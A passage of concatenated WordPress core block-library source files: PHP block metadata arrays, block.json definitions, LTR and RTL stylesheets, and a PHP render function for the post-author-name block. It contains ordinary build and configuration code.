    'name' => 'core/template-part',
    'title' => 'Template Part',
    'category' => 'theme',
    'description' => 'Edit the different global regions of your site, like the header, footer, sidebar, or create your own.',
    'textdomain' => 'default',
    'attributes' => array(
      'slug' => array(
        'type' => 'string'
      ),
      'theme' => array(
        'type' => 'string'
      ),
      'tagName' => array(
        'type' => 'string'
      ),
      'area' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'reusable' => false,
      'renaming' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-template-part-editor'
  ),
  'term-description' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/term-description',
    'title' => 'Term Description',
    'category' => 'theme',
    'description' => 'Display the description of categories, tags and custom taxonomies when viewing an archive.',
    'textdomain' => 'default',
    'attributes' => array(
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'align' => array(
        'wide',
        'full'
      ),
      'html' => false,
      'color' => array(
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'spacing' => array(
        'padding' => true,
        'margin' => true
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    )
  ),
  'text-columns' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/text-columns',
    'title' => 'Text Columns (deprecated)',
    'icon' => 'columns',
    'category' => 'design',
    'description' => 'This block is deprecated. Please use the Columns block instead.',
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'array',
        'source' => 'query',
        'selector' => 'p',
        'query' => array(
          'children' => array(
            'type' => 'string',
            'source' => 'html'
          )
        ),
        'default' => array(
          array(
            
          ),
          array(
            
          )
        )
      ),
      'columns' => array(
        'type' => 'number',
        'default' => 2
      ),
      'width' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'inserter' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-text-columns-editor',
    'style' => 'wp-block-text-columns'
  ),
  'verse' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/verse',
    'title' => 'Verse',
    'category' => 'text',
    'description' => 'Insert poetry. Use special spacing formats. Or quote song lyrics.',
    'keywords' => array(
      'poetry',
      'poem'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'content' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'pre',
        '__unstablePreserveWhiteSpace' => true,
        '__experimentalRole' => 'content'
      ),
      'textAlign' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'color' => array(
        'gradients' => true,
        'link' => true,
        '__experimentalDefaultControls' => array(
          'background' => true,
          'text' => true
        )
      ),
      'typography' => array(
        'fontSize' => true,
        '__experimentalFontFamily' => true,
        'lineHeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalFontWeight' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      '__experimentalBorder' => array(
        'radius' => true,
        'width' => true,
        'color' => true,
        'style' => true
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'style' => 'wp-block-verse',
    'editorStyle' => 'wp-block-verse-editor'
  ),
  'video' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/video',
    'title' => 'Video',
    'category' => 'media',
    'description' => 'Embed a video from your media library or upload a new one.',
    'keywords' => array(
      'movie'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'autoplay' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'autoplay'
      ),
      'caption' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'figcaption',
        '__experimentalRole' => 'content'
      ),
      'controls' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'controls',
        'default' => true
      ),
      'id' => array(
        'type' => 'number',
        '__experimentalRole' => 'content'
      ),
      'loop' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'loop'
      ),
      'muted' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'muted'
      ),
      'poster' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'poster'
      ),
      'preload' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'preload',
        'default' => 'metadata'
      ),
      'src' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'src',
        '__experimentalRole' => 'content'
      ),
      'playsInline' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'video',
        'attribute' => 'playsinline'
      ),
      'tracks' => array(
        '__experimentalRole' => 'content',
        'type' => 'array',
        'items' => array(
          'type' => 'object'
        ),
        'default' => array(
          
        )
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => true,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-video-editor',
    'style' => 'wp-block-video'
  ),
  'widget-group' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/widget-group',
    'category' => 'widgets',
    'attributes' => array(
      'title' => array(
        'type' => 'string'
      )
    ),
    'supports' => array(
      'html' => false,
      'inserter' => true,
      'customClassName' => true,
      'reusable' => false
    ),
    'editorStyle' => 'wp-block-widget-group-editor',
    'style' => 'wp-block-widget-group'
  )
);{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-pagination-previous",
	"title": "Comments Previous Page",
	"category": "theme",
	"parent": [ "core/comments-pagination" ],
	"description": "Displays the previous comment's page link.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		}
	},
	"usesContext": [ "postId", "comments/paginationArrow" ],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/latest-comments",
	"title": "Latest Comments",
	"category": "widgets",
	"description": "Display a list of your most recent comments.",
	"keywords": [ "recent comments" ],
	"textdomain": "default",
	"attributes": {
		"commentsToShow": {
			"type": "number",
			"default": 5,
			"minimum": 1,
			"maximum": 100
		},
		"displayAvatar": {
			"type": "boolean",
			"default": true
		},
		"displayDate": {
			"type": "boolean",
			"default": true
		},
		"displayExcerpt": {
			"type": "boolean",
			"default": true
		}
	},
	"supports": {
		"align": true,
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-latest-comments-editor",
	"style": "wp-block-latest-comments"
}
ol.wp-block-latest-comments{
  box-sizing:border-box;
  margin-left:0;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){
  line-height:1.1;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){
  line-height:1.8;
}

.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){
  line-height:1.5;
}

.wp-block-latest-comments .wp-block-latest-comments{
  padding-left:0;
}

.wp-block-latest-comments__comment{
  list-style:none;
  margin-bottom:1em;
}
.has-avatars .wp-block-latest-comments__comment{
  list-style:none;
  min-height:2.25em;
}
.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{
  margin-left:3.25em;
}

.wp-block-latest-comments__comment-excerpt p{
  font-size:.875em;
  margin:.36em 0 1.4em;
}

.wp-block-latest-comments__comment-date{
  display:block;
  font-size:.75em;
}

.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  width:2.5em;
}

.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{
  font-size:inherit;
}ol.wp-block-latest-comments{box-sizing:border-box;margin-left:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}ol.wp-block-latest-comments{box-sizing:border-box;margin-right:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-right:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}ol.wp-block-latest-comments{
  box-sizing:border-box;
  margin-right:0;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){
  line-height:1.1;
}

:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){
  line-height:1.8;
}

.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){
  line-height:1.5;
}

.wp-block-latest-comments .wp-block-latest-comments{
  padding-right:0;
}

.wp-block-latest-comments__comment{
  list-style:none;
  margin-bottom:1em;
}
.has-avatars .wp-block-latest-comments__comment{
  list-style:none;
  min-height:2.25em;
}
.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{
  margin-right:3.25em;
}

.wp-block-latest-comments__comment-excerpt p{
  font-size:.875em;
  margin:.36em 0 1.4em;
}

.wp-block-latest-comments__comment-date{
  display:block;
  font-size:.75em;
}

.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{
  border-radius:1.5em;
  display:block;
  float:right;
  height:2.5em;
  margin-left:.75em;
  width:2.5em;
}

.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{
  font-size:inherit;
}<?php
/**
 * Server-side rendering of the `core/post-author-name` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-author-name` block on the server.
 *
 * @param  array    $attributes Block attributes.
 * @param  string   $content    Block default content.
 * @param  WP_Block $block      Block instance.
 * @return string Returns the rendered post author name block.
 */
function render_block_core_post_author_name( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$author_id = get_post_field( 'post_author', $block->context['postId'] );
	if ( empty( $author_id ) ) {
		return '';
	}

	$author_name = get_the_author_meta( 'display_name', $author_id );
	if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) {
		$author_name = sprintf( '<a href="%1$s" target="%2$s" class="wp-block-post-author-name__link">%3$s</a>', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $author_name );
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $author_name );
}

/**
 * Registers the `core/post-author-name` block on the server.
 */
function register_block_core_post_author_name() {
	register_block_type_from_metadata(
		__DIR__ . '/post-author-name',
		array(
			'render_callback' => 'render_block_core_post_author_name',
		)
	);
}
add_action( 'init', 'register_block_core_post_author_name' );
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comments-title",
	"title": "Comments Title",
	"category": "theme",
	"ancestor": [ "core/comments" ],
	"description": "Displays a title with the number of comments.",
	"textdomain": "default",
	"usesContext": [ "postId", "postType" ],
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"showPostTitle": {
			"type": "boolean",
			"default": true
		},
		"showCommentsCount": {
			"type": "boolean",
			"default": true
		},
		"level": {
			"type": "number",
			"default": 2
		}
	},
	"supports": {
		"anchor": false,
		"align": true,
		"html": false,
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true,
				"__experimentalFontFamily": true,
				"__experimentalFontStyle": true,
				"__experimentalFontWeight": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
.wp-block-comments-title.has-background{padding:inherit}.wp-block-comments-title.has-background{
  padding:inherit;
}.wp-block-comments-title.has-background{padding:inherit}.wp-block-comments-title.has-background{
  padding:inherit;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-no-results",
	"title": "No results",
	"category": "theme",
	"description": "Contains the block elements used to render content when no query results are found.",
	"parent": [ "core/query" ],
	"textdomain": "default",
	"usesContext": [ "queryId", "query" ],
	"supports": {
		"align": true,
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"link": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-author",
	"title": "Author",
	"category": "theme",
	"description": "Display post author details such as name, avatar, and bio.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"avatarSize": {
			"type": "number",
			"default": 48
		},
		"showAvatar": {
			"type": "boolean",
			"default": true
		},
		"showBio": {
			"type": "boolean"
		},
		"byline": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": false
		},
		"linkTarget": {
			"type": "string",
			"default": "_self"
		}
	},
	"usesContext": [ "postType", "postId", "queryId" ],
	"supports": {
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDuotone": ".wp-block-post-author__avatar img",
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-post-author"
}
.wp-block-post-author{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-right:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{font-size:.5em;margin-bottom:0;margin-top:0;width:100%}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{font-size:.7em;margin-bottom:.7em}.wp-block-post-author__content{flex-basis:0;flex-grow:1}.wp-block-post-author__name{margin:0}.wp-block-post-author{
  display:flex;
  flex-wrap:wrap;
}
.wp-block-post-author__byline{
  font-size:.5em;
  margin-bottom:0;
  margin-top:0;
  width:100%;
}
.wp-block-post-author__avatar{
  margin-left:1em;
}
.wp-block-post-author__bio{
  font-size:.7em;
  margin-bottom:.7em;
}
.wp-block-post-author__content{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-post-author__name{
  margin:0;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/comment-reply-link",
	"title": "Comment Reply Link",
	"category": "theme",
	"ancestor": [ "core/comment-template" ],
	"description": "Displays a link to reply to a comment.",
	"textdomain": "default",
	"usesContext": [ "commentId" ],
	"attributes": {
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"color": {
			"gradients": true,
			"link": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"html": false
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-date",
	"title": "Date",
	"category": "theme",
	"description": "Display the publish date for an entry such as a post or page.",
	"textdomain": "default",
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"format": {
			"type": "string"
		},
		"isLink": {
			"type": "boolean",
			"default": false
		},
		"displayType": {
			"type": "string",
			"default": "date"
		}
	},
	"usesContext": [ "postId", "postType", "queryId" ],
	"supports": {
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
.wp-block-post-date{
  box-sizing:border-box;
}.wp-block-post-date{box-sizing:border-box}.wp-block-post-date{box-sizing:border-box}.wp-block-post-date{
  box-sizing:border-box;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/group",
	"title": "Group",
	"category": "design",
	"description": "Gather blocks in a layout container.",
	"keywords": [ "container", "wrapper", "row", "section" ],
	"textdomain": "default",
	"attributes": {
		"tagName": {
			"type": "string",
			"default": "div"
		},
		"templateLock": {
			"type": [ "string", "boolean" ],
			"enum": [ "all", "insert", "contentOnly", false ]
		},
		"allowedBlocks": {
			"type": "array"
		}
	},
	"supports": {
		"__experimentalOnEnter": true,
		"__experimentalOnMerge": true,
		"__experimentalSettings": true,
		"align": [ "wide", "full" ],
		"anchor": true,
		"ariaLabel": true,
		"html": false,
		"background": {
			"backgroundImage": true,
			"backgroundSize": true,
			"__experimentalDefaultControls": {
				"backgroundImage": true
			}
		},
		"color": {
			"gradients": true,
			"heading": true,
			"button": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"spacing": {
			"margin": [ "top", "bottom" ],
			"padding": true,
			"blockGap": true,
			"__experimentalDefaultControls": {
				"padding": true,
				"blockGap": true
			}
		},
		"dimensions": {
			"minHeight": true
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"style": true,
			"width": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"style": true,
				"width": true
			}
		},
		"position": {
			"sticky": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"layout": {
			"allowSizingOnChildren": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-group-editor",
	"style": "wp-block-group"
}
:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;content:"";display:flex;flex:1 0 48px;min-height:46px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.wp-block-group__placeholder .wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;list-style:none;margin:0;padding:0;width:100%}.wp-block-group__placeholder .components-placeholder__instructions{margin-bottom:18px;text-align:center}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{fill:#ccc!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{fill:var(--wp-admin-theme-color)!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;margin:0 12px 12px;width:auto}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{height:32px;padding:0;width:44px}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{box-shadow:none}.wp-block-group__placeholder .components-placeholder{min-height:auto;padding:24px}.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{margin:12px}:where(.wp-block-group.has-background){
  padding:1.25em 2.375em;
}:where(.wp-block-group.has-background){padding:1.25em 2.375em}.wp-block-group .block-editor-block-list__insertion-point{
  left:0;
  right:0;
}

[data-type="core/group"].is-selected .block-list-appender{
  margin-left:0;
  margin-right:0;
}
[data-type="core/group"].is-selected .has-background .block-list-appender{
  margin-bottom:18px;
  margin-top:18px;
}

.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{
  gap:inherit;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  display:inherit;
  flex:1;
  flex-direction:inherit;
  width:100%;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{
  border:1px dashed;
  border-radius:2px;
  content:"";
  display:flex;
  flex:1 0 48px;
  min-height:46px;
  pointer-events:none;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{
  background:currentColor;
  bottom:0;
  content:"";
  left:0;
  opacity:.1;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{
  pointer-events:all;
}

.wp-block-group__placeholder .wp-block-group-placeholder__variations{
  display:flex;
  flex-direction:row;
  flex-wrap:wrap;
  justify-content:center;
  list-style:none;
  margin:0;
  padding:0;
  width:100%;
}
.wp-block-group__placeholder .components-placeholder__instructions{
  margin-bottom:18px;
  text-align:center;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{
  fill:#ccc !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{
  fill:var(--wp-admin-theme-color) !important;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{
  align-items:center;
  display:flex;
  flex-direction:column;
  margin:0 12px 12px;
  width:auto;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{
  height:32px;
  padding:0;
  width:44px;
}
.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{
  box-shadow:none;
}
.wp-block-group__placeholder .components-placeholder{
  min-height:auto;
  padding:24px;
}
.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{
  margin:12px;
}.wp-block-group{
  box-sizing:border-box;
}.wp-block-group{box-sizing:border-box}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;content:"";display:flex;flex:1 0 48px;min-height:46px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.wp-block-group__placeholder 